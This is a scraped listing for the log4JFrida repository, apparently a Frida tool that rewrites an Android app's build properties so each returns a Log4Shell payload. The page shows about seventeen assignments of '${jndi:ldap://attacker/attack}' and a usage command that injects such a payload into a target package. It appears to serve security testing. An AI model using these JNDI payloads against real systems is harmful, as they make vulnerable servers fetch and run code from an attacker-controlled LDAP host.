All Projects → Ch0pin → log4JFrida

Ch0pin / log4JFrida

Licence: other
No description, website, or topics provided.

Programming Languages

javascript
184084 projects - #8 most used programming language
python
139335 projects - #7 most used programming language

log4JFrida

Modifies all device characteristicts in order to return a Log4j payload instead:

Example:

    buildProperties.MODEL.value="${jndi:ldap://attacker/attack}";
​    buildProperties.DEVICE.value="${jndi:ldap://attacker/attack}";
​    buildProperties.BOARD.value="${jndi:ldap://attacker/attack}";
​    buildProperties.PRODUCT.value="${jndi:ldap://attacker/attack}";
​    buildProperties.HARDWARE.value="${jndi:ldap://attacker/attack}";
​    buildProperties.FINGERPRINT.value="${jndi:ldap://attacker/attack}"
​    buildProperties.MANUFACTURER.value="${jndi:ldap://attacker/attack}";
​    buildProperties.BOOTLOADER.value="${jndi:ldap://attacker/attack}";
​    buildProperties.BRAND.value="${jndi:ldap://attacker/attack}";
​    buildProperties.HOST.value="${jndi:ldap://attacker/attack}";
​    buildProperties.ID.value="${jndi:ldap://attacker/attack}";
​    buildProperties.DISPLAY.value="${jndi:ldap://attacker/attack}";
​    buildProperties.TAGS.value="${jndi:ldap://attacker/attack}";
​    buildProperties.SERIAL.value="${jndi:ldap://attacker/attack}";
​    buildProperties.TYPE.value="${jndi:ldap://attacker/attack}";
​    buildProperties.USER.value="${jndi:ldap://attacker/attack}";
​    buildProperties.UNKNOWN.value="${jndi:ldap://attacker/attack}";

Requirements: Frida

Usage:

$python3 log4Frida.py com.foo.bar '${jndi:ldap://attacker/a}'

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].